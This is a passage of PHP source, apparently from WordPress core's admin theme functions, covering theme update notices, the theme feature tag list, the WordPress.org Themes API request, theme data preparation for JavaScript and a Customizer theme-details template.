					$update['new_version']
				);
			} elseif ( empty( $update['package'] ) ) {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
					$update['new_version']
				);
			} else {
				$html = sprintf(
					/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
					'<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ) . '</strong></p>',
					$theme_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Theme name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme_name, $update['new_version'] ) )
					),
					$update['new_version'],
					$update_url,
					sprintf(
						'aria-label="%s" id="update-theme" data-slug="%s"',
						/* translators: %s: Theme name. */
						esc_attr( sprintf( _x( 'Update %s now', 'theme' ), $theme_name ) ),
						$stylesheet
					)
				);
			}
		}
	}

	return $html;
}

/**
 * Retrieves list of WordPress theme features (aka theme tags).
 *
 * @since 3.1.0
 * @since 3.2.0 Added 'Gray' color and 'Featured Image Header', 'Featured Images',
 *              'Full Width Template', and 'Post Formats' features.
 * @since 3.5.0 Added 'Flexible Header' feature.
 * @since 3.8.0 Renamed 'Width' filter to 'Layout'.
 * @since 3.8.0 Renamed 'Fixed Width' and 'Flexible Width' options
 *              to 'Fixed Layout' and 'Fluid Layout'.
 * @since 3.8.0 Added 'Accessibility Ready' feature and 'Responsive Layout' option.
 * @since 3.9.0 Combined 'Layout' and 'Columns' filters.
 * @since 4.6.0 Removed 'Colors' filter.
 * @since 4.6.0 Added 'Grid Layout' option.
 *              Removed 'Fixed Layout', 'Fluid Layout', and 'Responsive Layout' options.
 * @since 4.6.0 Added 'Custom Logo' and 'Footer Widgets' features.
 *              Removed 'Blavatar' feature.
 * @since 4.6.0 Added 'Blog', 'E-Commerce', 'Education', 'Entertainment', 'Food & Drink',
 *              'Holiday', 'News', 'Photography', and 'Portfolio' subjects.
 *              Removed 'Photoblogging' and 'Seasonal' subjects.
 * @since 4.9.0 Reordered the filters from 'Layout', 'Features', 'Subject'
 *              to 'Subject', 'Features', 'Layout'.
 * @since 4.9.0 Removed 'BuddyPress', 'Custom Menu', 'Flexible Header',
 *              'Front Page Posting', 'Microformats', 'RTL Language Support',
 *              'Threaded Comments', and 'Translation Ready' features.
 * @since 5.5.0 Added 'Block Editor Patterns', 'Block Editor Styles',
 *              and 'Full Site Editing' features.
 * @since 5.5.0 Added 'Wide Blocks' layout option.
 * @since 5.8.1 Added 'Template Editing' feature.
 * @since 6.1.1 Replaced 'Full Site Editing' feature name with 'Site Editor'.
 * @since 6.2.0 Added 'Style Variations' feature.
 *
 * @param bool $api Optional. Whether try to fetch tags from the WordPress.org API. Defaults to true.
 * @return array Array of features keyed by category with translations keyed by slug.
 */
function get_theme_feature_list( $api = true ) {
	// Hard-coded list is used if API is not accessible.
	$features = array(

		__( 'Subject' )  => array(
			'blog'           => __( 'Blog' ),
			'e-commerce'     => __( 'E-Commerce' ),
			'education'      => __( 'Education' ),
			'entertainment'  => __( 'Entertainment' ),
			'food-and-drink' => __( 'Food & Drink' ),
			'holiday'        => __( 'Holiday' ),
			'news'           => __( 'News' ),
			'photography'    => __( 'Photography' ),
			'portfolio'      => __( 'Portfolio' ),
		),

		__( 'Features' ) => array(
			'accessibility-ready'   => __( 'Accessibility Ready' ),
			'block-patterns'        => __( 'Block Editor Patterns' ),
			'block-styles'          => __( 'Block Editor Styles' ),
			'custom-background'     => __( 'Custom Background' ),
			'custom-colors'         => __( 'Custom Colors' ),
			'custom-header'         => __( 'Custom Header' ),
			'custom-logo'           => __( 'Custom Logo' ),
			'editor-style'          => __( 'Editor Style' ),
			'featured-image-header' => __( 'Featured Image Header' ),
			'featured-images'       => __( 'Featured Images' ),
			'footer-widgets'        => __( 'Footer Widgets' ),
			'full-site-editing'     => __( 'Site Editor' ),
			'full-width-template'   => __( 'Full Width Template' ),
			'post-formats'          => __( 'Post Formats' ),
			'sticky-post'           => __( 'Sticky Post' ),
			'style-variations'      => __( 'Style Variations' ),
			'template-editing'      => __( 'Template Editing' ),
			'theme-options'         => __( 'Theme Options' ),
		),

		__( 'Layout' )   => array(
			'grid-layout'   => __( 'Grid Layout' ),
			'one-column'    => __( 'One Column' ),
			'two-columns'   => __( 'Two Columns' ),
			'three-columns' => __( 'Three Columns' ),
			'four-columns'  => __( 'Four Columns' ),
			'left-sidebar'  => __( 'Left Sidebar' ),
			'right-sidebar' => __( 'Right Sidebar' ),
			'wide-blocks'   => __( 'Wide Blocks' ),
		),

	);

	if ( ! $api || ! current_user_can( 'install_themes' ) ) {
		return $features;
	}

	$feature_list = get_site_transient( 'wporg_theme_feature_list' );
	if ( ! $feature_list ) {
		set_site_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
	}

	if ( ! $feature_list ) {
		$feature_list = themes_api( 'feature_list', array() );
		if ( is_wp_error( $feature_list ) ) {
			return $features;
		}
	}

	if ( ! $feature_list ) {
		return $features;
	}

	set_site_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );

	$category_translations = array(
		'Layout'   => __( 'Layout' ),
		'Features' => __( 'Features' ),
		'Subject'  => __( 'Subject' ),
	);

	$wporg_features = array();

	// Loop over the wp.org canonical list and apply translations.
	foreach ( (array) $feature_list as $feature_category => $feature_items ) {
		if ( isset( $category_translations[ $feature_category ] ) ) {
			$feature_category = $category_translations[ $feature_category ];
		}

		$wporg_features[ $feature_category ] = array();

		foreach ( $feature_items as $feature ) {
			if ( isset( $features[ $feature_category ][ $feature ] ) ) {
				$wporg_features[ $feature_category ][ $feature ] = $features[ $feature_category ][ $feature ];
			} else {
				$wporg_features[ $feature_category ][ $feature ] = $feature;
			}
		}
	}

	return $wporg_features;
}

/**
 * Retrieves theme installer pages from the WordPress.org Themes API.
 *
 * It is possible for a theme to override the Themes API result with three
 * filters. Assume this is for themes, which can extend on the Theme Info to
 * offer more choices. This is very powerful and must be used with care, when
 * overriding the filters.
 *
 * The first filter, {@see 'themes_api_args'}, is for the args and gives the action
 * as the second parameter. The hook for {@see 'themes_api_args'} must ensure that
 * an object is returned.
 *
 * The second filter, {@see 'themes_api'}, allows a plugin to override the WordPress.org
 * Theme API entirely. If `$action` is 'query_themes', 'theme_information', or 'feature_list',
 * an object MUST be passed. If `$action` is 'hot_tags', an array should be passed.
 *
 * Finally, the third filter, {@see 'themes_api_result'}, makes it possible to filter the
 * response object or array, depending on the `$action` type.
 *
 * Supported arguments per action:
 *
 * | Argument Name      | 'query_themes' | 'theme_information' | 'hot_tags' | 'feature_list'   |
 * | -------------------| :------------: | :-----------------: | :--------: | :--------------: |
 * | `$slug`            | No             |  Yes                | No         | No               |
 * | `$per_page`        | Yes            |  No                 | No         | No               |
 * | `$page`            | Yes            |  No                 | No         | No               |
 * | `$number`          | No             |  No                 | Yes        | No               |
 * | `$search`          | Yes            |  No                 | No         | No               |
 * | `$tag`             | Yes            |  No                 | No         | No               |
 * | `$author`          | Yes            |  No                 | No         | No               |
 * | `$user`            | Yes            |  No                 | No         | No               |
 * | `$browse`          | Yes            |  No                 | No         | No               |
 * | `$locale`          | Yes            |  Yes                | No         | No               |
 * | `$fields`          | Yes            |  Yes                | No         | No               |
 *
 * @since 2.8.0
 *
 * @param string       $action API action to perform: Accepts 'query_themes', 'theme_information',
 *                             'hot_tags' or 'feature_list'.
 * @param array|object $args   {
 *     Optional. Array or object of arguments to serialize for the Themes API. Default empty array.
 *
 *     @type string  $slug     The theme slug. Default empty.
 *     @type int     $per_page Number of themes per page. Default 24.
 *     @type int     $page     Number of current page. Default 1.
 *     @type int     $number   Number of tags to be queried.
 *     @type string  $search   A search term. Default empty.
 *     @type string  $tag      Tag to filter themes. Default empty.
 *     @type string  $author   Username of an author to filter themes. Default empty.
 *     @type string  $user     Username to query for their favorites. Default empty.
 *     @type string  $browse   Browse view: 'featured', 'popular', 'updated', 'favorites'.
 *     @type string  $locale   Locale to provide context-sensitive results. Default is the value of get_locale().
 *     @type array   $fields   {
 *         Array of fields which should or should not be returned.
 *
 *         @type bool $description        Whether to return the theme full description. Default false.
 *         @type bool $sections           Whether to return the theme readme sections: description, installation,
 *                                        FAQ, screenshots, other notes, and changelog. Default false.
 *         @type bool $rating             Whether to return the rating in percent and total number of ratings.
 *                                        Default false.
 *         @type bool $ratings            Whether to return the number of rating for each star (1-5). Default false.
 *         @type bool $downloaded         Whether to return the download count. Default false.
 *         @type bool $downloadlink       Whether to return the download link for the package. Default false.
 *         @type bool $last_updated       Whether to return the date of the last update. Default false.
 *         @type bool $tags               Whether to return the assigned tags. Default false.
 *         @type bool $homepage           Whether to return the theme homepage link. Default false.
 *         @type bool $screenshots        Whether to return the screenshots. Default false.
 *         @type int  $screenshot_count   Number of screenshots to return. Default 1.
 *         @type bool $screenshot_url     Whether to return the URL of the first screenshot. Default false.
 *         @type bool $photon_screenshots Whether to return the screenshots via Photon. Default false.
 *         @type bool $template           Whether to return the slug of the parent theme. Default false.
 *         @type bool $parent             Whether to return the slug, name and homepage of the parent theme. Default false.
 *         @type bool $versions           Whether to return the list of all available versions. Default false.
 *         @type bool $theme_url          Whether to return theme's URL. Default false.
 *         @type bool $extended_author    Whether to return nicename or nicename and display name. Default false.
 *     }
 * }
 * @return object|array|WP_Error Response object or array on success, WP_Error on failure. See the
 *         {@link https://developer.wordpress.org/reference/functions/themes_api/ function reference article}
 *         for more information on the make-up of possible return objects depending on the value of `$action`.
 */
function themes_api( $action, $args = array() ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	if ( is_array( $args ) ) {
		$args = (object) $args;
	}

	if ( 'query_themes' === $action ) {
		if ( ! isset( $args->per_page ) ) {
			$args->per_page = 24;
		}
	}

	if ( ! isset( $args->locale ) ) {
		$args->locale = get_user_locale();
	}

	if ( ! isset( $args->wp_version ) ) {
		$args->wp_version = substr( $wp_version, 0, 3 ); // x.y
	}

	/**
	 * Filters arguments used to query for installer pages from the WordPress.org Themes API.
	 *
	 * Important: An object MUST be returned to this filter.
	 *
	 * @since 2.8.0
	 *
	 * @param object $args   Arguments used to query for installer pages from the WordPress.org Themes API.
	 * @param string $action Requested action. Likely values are 'theme_information',
	 *                       'feature_list', or 'query_themes'.
	 */
	$args = apply_filters( 'themes_api_args', $args, $action );

	/**
	 * Filters whether to override the WordPress.org Themes API.
	 *
	 * Returning a non-false value will effectively short-circuit the WordPress.org API request.
	 *
	 * If `$action` is 'query_themes', 'theme_information', or 'feature_list', an object MUST
	 * be passed. If `$action` is 'hot_tags', an array should be passed.
	 *
	 * @since 2.8.0
	 *
	 * @param false|object|array $override Whether to override the WordPress.org Themes API. Default false.
	 * @param string             $action   Requested action. Likely values are 'theme_information',
	 *                                    'feature_list', or 'query_themes'.
	 * @param object             $args     Arguments used to query for installer pages from the Themes API.
	 */
	$res = apply_filters( 'themes_api', false, $action, $args );

	if ( ! $res ) {
		$url = 'http://api.wordpress.org/themes/info/1.2/';
		$url = add_query_arg(
			array(
				'action'  => $action,
				'request' => $args,
			),
			$url
		);

		$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$http_args = array(
			'timeout'    => 15,
			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ),
		);
		$request   = wp_remote_get( $url, $http_args );

		if ( $ssl && is_wp_error( $request ) ) {
			if ( ! wp_doing_ajax() ) {
				trigger_error(
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
					headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
				);
			}
			$request = wp_remote_get( $http_url, $http_args );
		}

		if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'themes_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( is_array( $res ) ) {
				// Object casting is required in order to match the info/1.0 format.
				$res = (object) $res;
			} elseif ( null === $res ) {
				$res = new WP_Error(
					'themes_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}

			if ( isset( $res->error ) ) {
				$res = new WP_Error( 'themes_api_failed', $res->error );
			}
		}

		if ( ! is_wp_error( $res ) ) {
			// Back-compat for info/1.2 API, upgrade the theme objects in query_themes to objects.
			if ( 'query_themes' === $action ) {
				foreach ( $res->themes as $i => $theme ) {
					$res->themes[ $i ] = (object) $theme;
				}
			}

			// Back-compat for info/1.2 API, downgrade the feature_list result back to an array.
			if ( 'feature_list' === $action ) {
				$res = (array) $res;
			}
		}
	}

	/**
	 * Filters the returned WordPress.org Themes API response.
	 *
	 * @since 2.8.0
	 *
	 * @param array|stdClass|WP_Error $res    WordPress.org Themes API response.
	 * @param string                  $action Requested action. Likely values are 'theme_information',
	 *                                        'feature_list', or 'query_themes'.
	 * @param stdClass                $args   Arguments used to query for installer pages from the WordPress.org Themes API.
	 */
	return apply_filters( 'themes_api_result', $res, $action, $args );
}

/**
 * Prepares themes for JavaScript.
 *
 * @since 3.8.0
 *
 * @param WP_Theme[] $themes Optional. Array of theme objects to prepare.
 *                           Defaults to all allowed themes.
 *
 * @return array An associative array of theme data, sorted by name.
 */
function wp_prepare_themes_for_js( $themes = null ) {
	$current_theme = get_stylesheet();

	/**
	 * Filters theme data before it is prepared for JavaScript.
	 *
	 * Passing a non-empty array will result in wp_prepare_themes_for_js() returning
	 * early with that value instead.
	 *
	 * @since 4.2.0
	 *
	 * @param array           $prepared_themes An associative array of theme data. Default empty array.
	 * @param WP_Theme[]|null $themes          An array of theme objects to prepare, if any.
	 * @param string          $current_theme   The active theme slug.
	 */
	$prepared_themes = (array) apply_filters( 'pre_prepare_themes_for_js', array(), $themes, $current_theme );

	if ( ! empty( $prepared_themes ) ) {
		return $prepared_themes;
	}

	// Make sure the active theme is listed first.
	$prepared_themes[ $current_theme ] = array();

	if ( null === $themes ) {
		$themes = wp_get_themes( array( 'allowed' => true ) );
		if ( ! isset( $themes[ $current_theme ] ) ) {
			$themes[ $current_theme ] = wp_get_theme();
		}
	}

	$updates    = array();
	$no_updates = array();
	if ( ! is_multisite() && current_user_can( 'update_themes' ) ) {
		$updates_transient = get_site_transient( 'update_themes' );
		if ( isset( $updates_transient->response ) ) {
			$updates = $updates_transient->response;
		}
		if ( isset( $updates_transient->no_update ) ) {
			$no_updates = $updates_transient->no_update;
		}
	}

	WP_Theme::sort_by_name( $themes );

	$parents = array();

	$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

	foreach ( $themes as $theme ) {
		$slug         = $theme->get_stylesheet();
		$encoded_slug = urlencode( $slug );

		$parent = false;
		if ( $theme->parent() ) {
			$parent           = $theme->parent();
			$parents[ $slug ] = $parent->get_stylesheet();
			$parent           = $parent->display( 'Name' );
		}

		$customize_action = null;

		$can_edit_theme_options = current_user_can( 'edit_theme_options' );
		$can_customize          = current_user_can( 'customize' );
		$is_block_theme         = $theme->is_block_theme();

		if ( $is_block_theme && $can_edit_theme_options ) {
			$customize_action = admin_url( 'site-editor.php' );
			if ( $current_theme !== $slug ) {
				$customize_action = add_query_arg( 'wp_theme_preview', $slug, $customize_action );
			}
		} elseif ( ! $is_block_theme && $can_customize && $can_edit_theme_options ) {
			$customize_action = wp_customize_url( $slug );
		}
		if ( null !== $customize_action ) {
			$customize_action = add_query_arg(
				array(
					'return' => urlencode( sanitize_url( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ) ),
				),
				$customize_action
			);
			$customize_action = esc_url( $customize_action );
		}

		$update_requires_wp  = isset( $updates[ $slug ]['requires'] ) ? $updates[ $slug ]['requires'] : null;
		$update_requires_php = isset( $updates[ $slug ]['requires_php'] ) ? $updates[ $slug ]['requires_php'] : null;

		$auto_update        = in_array( $slug, $auto_updates, true );
		$auto_update_action = $auto_update ? 'disable-auto-update' : 'enable-auto-update';

		if ( isset( $updates[ $slug ] ) ) {
			$auto_update_supported      = true;
			$auto_update_filter_payload = (object) $updates[ $slug ];
		} elseif ( isset( $no_updates[ $slug ] ) ) {
			$auto_update_supported      = true;
			$auto_update_filter_payload = (object) $no_updates[ $slug ];
		} else {
			$auto_update_supported = false;
			/*
			 * Create the expected payload for the auto_update_theme filter, this is the same data
			 * as contained within $updates or $no_updates but used when the Theme is not known.
			 */
			$auto_update_filter_payload = (object) array(
				'theme'        => $slug,
				'new_version'  => $theme->get( 'Version' ),
				'url'          => '',
				'package'      => '',
				'requires'     => $theme->get( 'RequiresWP' ),
				'requires_php' => $theme->get( 'RequiresPHP' ),
			);
		}

		$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, $auto_update_filter_payload );

		$prepared_themes[ $slug ] = array(
			'id'             => $slug,
			'name'           => $theme->display( 'Name' ),
			'screenshot'     => array( $theme->get_screenshot() ), // @todo Multiple screenshots.
			'description'    => $theme->display( 'Description' ),
			'author'         => $theme->display( 'Author', false, true ),
			'authorAndUri'   => $theme->display( 'Author' ),
			'tags'           => $theme->display( 'Tags' ),
			'version'        => $theme->get( 'Version' ),
			'compatibleWP'   => is_wp_version_compatible( $theme->get( 'RequiresWP' ) ),
			'compatiblePHP'  => is_php_version_compatible( $theme->get( 'RequiresPHP' ) ),
			'updateResponse' => array(
				'compatibleWP'  => is_wp_version_compatible( $update_requires_wp ),
				'compatiblePHP' => is_php_version_compatible( $update_requires_php ),
			),
			'parent'         => $parent,
			'active'         => $slug === $current_theme,
			'hasUpdate'      => isset( $updates[ $slug ] ),
			'hasPackage'     => isset( $updates[ $slug ] ) && ! empty( $updates[ $slug ]['package'] ),
			'update'         => get_theme_update_available( $theme ),
			'autoupdate'     => array(
				'enabled'   => $auto_update || $auto_update_forced,
				'supported' => $auto_update_supported,
				'forced'    => $auto_update_forced,
			),
			'actions'        => array(
				'activate'   => current_user_can( 'switch_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=activate&amp;stylesheet=' . $encoded_slug ), 'switch-theme_' . $slug ) : null,
				'customize'  => $customize_action,
				'delete'     => ( ! is_multisite() && current_user_can( 'delete_themes' ) ) ? wp_nonce_url( admin_url( 'themes.php?action=delete&amp;stylesheet=' . $encoded_slug ), 'delete-theme_' . $slug ) : null,
				'autoupdate' => wp_is_auto_update_enabled_for_type( 'theme' ) && ! is_multisite() && current_user_can( 'update_themes' )
					? wp_nonce_url( admin_url( 'themes.php?action=' . $auto_update_action . '&amp;stylesheet=' . $encoded_slug ), 'updates' )
					: null,
			),
			'blockTheme'     => $theme->is_block_theme(),
		);
	}

	// Remove 'delete' action if theme has an active child.
	if ( ! empty( $parents ) && array_key_exists( $current_theme, $parents ) ) {
		unset( $prepared_themes[ $parents[ $current_theme ] ]['actions']['delete'] );
	}

	/**
	 * Filters the themes prepared for JavaScript, for themes.php.
	 *
	 * Could be useful for changing the order, which is by name by default.
	 *
	 * @since 3.8.0
	 *
	 * @param array $prepared_themes Array of theme data.
	 */
	$prepared_themes = apply_filters( 'wp_prepare_themes_for_js', $prepared_themes );
	$prepared_themes = array_values( $prepared_themes );
	return array_filter( $prepared_themes );
}

/**
 * Prints JS templates for the theme-browsing UI in the Customizer.
 *
 * @since 4.2.0
 */
function customize_themes_print_templates() {
	?>
	<script type="text/html" id="tmpl-customize-themes-details-view">
		<div class="theme-backdrop"></div>
		<div class="theme-wrap wp-clearfix" role="document">
			<div class="theme-header">
				<button type="button" class="left dashicons dashicons-no"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Show previous theme' );
					?>
				</span></button>
				<button type="button" class="right dashicons dashicons-no"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Show next theme' );
					?>
				</span></button>
				<button type="button" class="close dashicons dashicons-no"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Close details dialog' );
					?>
				</span></button>
			</div>
			<div class="theme-about wp-clearfix">
				<div class="theme-screenshots">
				<# if ( data.screenshot && data.screenshot[0] ) { #>
					<div class="screenshot"><img src="{{ data.screenshot[0] }}?ver={{ data.version }}" alt="" /></div>
				<# } else { #>
					<div class="screenshot blank"></div>
				<# } #>
				</div>

				<div class="theme-info">
					<# if ( data.active ) { #>
						<span class="current-label"><?php _e( 'Active Theme' ); ?></span>
					<# } #>
					<h2 class="theme-name">{{{ data.name }}}<span class="theme-version">
						<?php
						/* translators: %s: Theme version. */
						printf( __( 'Version: %s' ), '{{ data.version }}' );
						?>
					</span></h2>
					<h3 class="theme-author">
						<?php
						/* translators: %s: Theme author link. */
						printf( __( 'By %s' ), '{{{ data.authorAndUri }}}' );
						?>
					</h3>

					<# if ( data.stars && 0 != data.num_ratings ) { #>
						<div class="theme-rating">
							{{{ data.stars }}}
							<a class="num-ratings" target="_blank" href="{{ data.reviews_url }}">
								<?php
								printf(
									'%1$s <span class="screen-reader-text">%2$s</span>',
									/* translators: %s: Number of ratings. */
									sprintf( __( '(%s ratings)' ), '{{ data.num_ratings }}' ),
									/* translators: Hidden accessibility text. */
									__( '(opens in a new tab)' )
								);
								?>
							</a>
						</div>
					<# } #>

					<# if ( data.hasUpdate ) { #>
						<# if ( data.updateResponse.compatibleWP && data.updateResponse.compatiblePHP ) { #>
							<div class="notice notice-warning notice-alt notice-large" data-slug="{{ data.id }}">
								<h3 class="notice-title"><?php _e( 'Update Available' ); ?></h3>
								{{{ data.update }}}
							</div>
						<# } else { #>
							<div class="notice notice-error notice-alt notice-large" data-slug="{{ data.id }}">
								<h3 class="notice-title"><?php _e( 'Update Incompatible' ); ?></h3>
								<p>
									<# if ( ! data.updateResponse.compatibleWP && ! data.updateResponse.compatiblePHP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
											printf(
												/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
												' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
												self_admin_url( 'update-core.php' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
										} elseif ( current_user_can( 'update_core' ) ) {
											printf(
												/* translators: %s: URL to WordPress Updates screen. */
												' ' . __( '<a href="%s">Please update WordPress</a>.' ),
												self_admin_url( 'update-core.php' )
											);
										} elseif ( current_user_can( 'update_php' ) ) {
											printf(
												/* translators: %s: URL to Update PHP page. */
												' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
										}
										?>
									<# } else if ( ! data.updateResponse.compatibleWP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_core' ) ) {
											printf(
												/* translators: %s: URL to WordPress Updates screen. */
												' ' . __( '<a href="%s">Please update WordPress</a>.' ),
												self_admin_url( 'update-core.php' )
											);
										}
										?>
									<# } else if ( ! data.updateResponse.compatiblePHP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_php' ) ) {
											printf(
												/* translators: %s: URL to Update PHP page. */
												' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
										}
										?>
									<# } #>
								</p>
							</div>
						<# } #>
					<# } #>

					<# if ( data.parent ) { #>
						<p class="parent-theme">
							<?php
							printf(
								/* translators: %s: Theme name. */
								__( 'This is a child theme of %s.' ),
								'<strong>{{{ data.parent }}}</strong>'
							);
							?>
						</p>
					<# } #>

					<# if ( ! data.compatibleWP || ! data.compatiblePHP ) { #>
						<div class="notice notice-error notice-alt notice-large"><p>
							<# if ( ! data.compatibleWP && ! data.compatiblePHP ) { #>
								<?php
								_e( 'This theme does not work with your versions of WordPress and PHP.' );
								if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
									printf(
										/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
										' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
										self_admin_url( 'update-core.php' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								} elseif ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								} elseif ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } else if ( ! data.compatibleWP ) { #>
								<?php
								_e( 'This theme does not work with your version of WordPress.' );
								if ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								}
								?>
							<# } else if ( ! data.compatiblePHP ) { #>
								<?php
								_e( 'This theme does not work with your version of PHP.' );
								if ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } #>
						</p></div>
					<# } else if ( ! data.active && data.blockTheme ) { #>
						<div class="notice notice-error notice-alt notice-large"><p>
						<?php
							_e( 'This theme doesn\'t support Customizer.' );
						?>
						<# if ( data.actions.activate ) { #>
							<?php
							printf(
								/* translators: %s: URL to the themes page (also it activates the theme). */
								' ' . __( 'However, you can still <a href="%s">activate this theme</a>, and use the Site Editor to customize it.' ),
								'{{{ data.actions.activate }}}'
							);
							?>
						<# } #>
						</p></div>
					<# } #>

					<p class="theme-description">{{{ data.description }}}</p>

					<# if ( data.tags ) { #>
						<p class="theme-tags"><span><?php _e( 'Tags:' ); ?></span> {{{ data.tags }}}</p>
					<# } #>
				</div>
			</div>

			<div class="theme-actions">
				<# if ( data.active ) { #>
					<button type="button" class="button button-primary customize-theme"><?php _e( 'Customize' ); ?></button>
				<# } else if ( 'installed' === data.type ) { #>
					<div class="theme-inactive-actions">
					<# if ( data.blockTheme ) { #>
						<?php
							/* translators: %s: Theme name. */
							$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
						?>
						<# if ( data.compatibleWP && data.compatiblePHP && data.actions.activate ) { #>
							<a href="{{{ data.actions.activate }}}" class="button button-primary activate" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
						<# } #>
					<# } else { #>
						<# if ( data.compatibleWP && data.compatiblePHP ) { #>
							<button type="button" class="button button-primary preview-theme" data-slug="{{ data.id }}"><?php _e( 'Live Preview' ); ?></button>
						<# } else { #>
							<button class="button button-primary disabled"><?php _e( 'Live Preview' ); ?></button>
						<# } #>
					<# } #>
					</div>
					<?php if ( current_user_can( 'delete_themes' ) ) { ?>
						<# if ( data.actions && data.actions['delete'] ) { #>
							<a href="{{{ data.actions['delete'] }}}" data-slug="{{ data.id }}" class="button button-secondary delete-theme"><?php _e( 'Delete' ); ?></a>
						<# } #>
					<?php } ?>
				<# } else { #>
					<# if ( data.compatibleWP && data.compatiblePHP ) { #>
						<button type="button" class="button theme-install" data-slug="{{ data.id }}"><?php _e( 'Install' ); ?></button>
						<button type="button" class="button button-primary theme-install preview" data-slug="{{ data.id }}"><?php _e( 'Install &amp; Preview' ); ?></button>
					<# } else { #>
						<button type="button" class="button disabled"><?php _ex( 'Cannot Install', 'theme' ); ?></button>
						<button type="button" class="button button-primary disabled"><?php _e( 'Install &amp; Preview' ); ?></button>
					<# } #>
				<# } #>
			</div>
		</div>
	</script>
	<?php
}

/**
 * Determines whether a theme is technically active but was paused while
 * loading.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
